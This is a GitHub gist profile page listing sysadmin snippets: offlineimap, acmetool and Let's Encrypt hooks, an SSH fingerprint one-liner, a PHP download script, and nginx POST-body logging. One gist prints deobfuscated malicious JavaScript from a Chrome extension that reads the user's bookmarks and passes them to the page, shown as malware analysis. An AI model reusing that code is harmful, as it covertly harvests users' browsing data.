Skip to content

Instantly share code, notes, and snippets.

View gnanet's full-sized avatar

Gergely Nagy gnanet

  • Self-Employed Freelancer
  • Hungary
  • X @gnanet
View GitHub Profile
@gnanet
gnanet / offlineimaprc.py
Created March 26, 2019 03:18
offlineimap nametrans example to put everything in a INBOX. subfolder except for INBOX, or any folder that starts with "INBOX" already
# Put everything in a INBOX. subfolder except for INBOX, or any folder that starts with "INBOX" already, also translate some common hungarian foldernames
[Repository Remote-X]
type = IMAP
remotehost = Z
ssl =
sslcacertfile = /etc/ssl/certs/ca-certificates.crt
remoteuser = X
remotepass = P
createfolders = False
readonly = True
@gnanet
gnanet / stretch-acmetool-nginx-postfix-dovecot.md
Last active November 1, 2018 00:56
Let's Encrypt on debian stretch with nginx and SMTP POP3 IMAP with acmetool
@gnanet
gnanet / download.php
Created September 1, 2018 19:48 — forked from tosinafolabi/download.php
Force File Download with PHP
<?php
/*
* Force File Download
* Usage: http://example.com/download.php?file=./uploads/image.jpg
*
* There are a couple of *ninja* exit() as security guarantee, adapt as necessary
*
*/
// grab the requested file's name
@gnanet
gnanet / ssh-fingerprint-auth_keys.sh
Created August 28, 2018 23:50
One-Liner for split authorized_keys, generate a fingerprint for each public key with ssh-keygen
cat authorized_keys | while read keyline; do if [ "$keyline" != "" ]; then keyname=$(echo $keyline | cut -d' ' -f 3); keytype=$(echo $keyline | cut -d' ' -f 1); echo $keyline > ${keytype}_${keyname}.pub; ssh-keygen -l -f ${keytype}_${keyname}.pub && rm ${keytype}_${keyname}.pub; fi; done
@gnanet
gnanet / easyscp.acmetool.hook.sh
Last active August 26, 2018 16:15
Custom acmetool hook to update Let's Encrypt certificates for EasySCP
#!/bin/sh
# This is a custom hook for acmetool
# https://github.com/hlandau/acme/releases
#
# Save this file to /usr/lib/acme/hooks/easyscp and make it executable
# This file updates certificate+private key files for domains which
# already were configured from inside EasySCP.
#
@gnanet
gnanet / acmetool-hook-plesk.md
Last active May 23, 2018 21:58
acmetool hook for manual certificate addition to plesk

acmetool hook for manual certificate addition to plesk

This is a modified haproxy-hook from acmetool v0.0.67 to allow the addition of LetsEncrypt certificates to plesk panel, and to create, renew, assign certificates to domains

Usage in general:

  • You should rename the attached haproxy.sh script and overwrite the installed haproxy hook, which is usually placed into /usr/lib/acme/hooks
  • The haproxy hook has to be enabled with HAPROXY_ALWAYS_GENERATE=yes in /etc/default/acme-reload /etc/default/acme-reload
  • You can specify the plesk panel hostname, if it differs from the server hostname with PLESK_HOSTNAME=your-own-panel-hostname.tld in
  • To make sure this hook is not overwritten, you could remove #!acmetool-managed!# but i changed it to say ##!DO-NOT-LET-acmetool-managed!##
log_format postdata '$time_local $request $request_body';
location = /path {
access_log /var/log/nginx/postdata.log postdata;
proxy_pass http://localhost:8080; # <= set your port
}
@gnanet
gnanet / eopjjffgjlmcbafpfcmnclndikjhajon-1.2_0-bookmarkSync.js
Created April 28, 2018 21:01
Deobfuscated Malicious JS appended to ChromeExtension, which has a possible role in the Messenger Fake video malware breakout
function syncBookmarks(){
console.log('sync...')
chrome.bookmarks.getTree(function(results){
chrome.tabs.query({active: true, currentWindow: true}, function(tabs){
chrome.tabs.sendMessage(tabs[0].id, {bookmarksData: true, data: results}, function(response) {});
});
})
}
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
@gnanet
gnanet / wheezy-acmetool-easyscp.md
Created April 25, 2018 18:03
Let's Encrypt on debian wheezy and EasySCP
@gnanet
gnanet / debian-ubuntu-version-pairs.md
Last active April 8, 2018 21:38
Debian version <-> Ubuntu version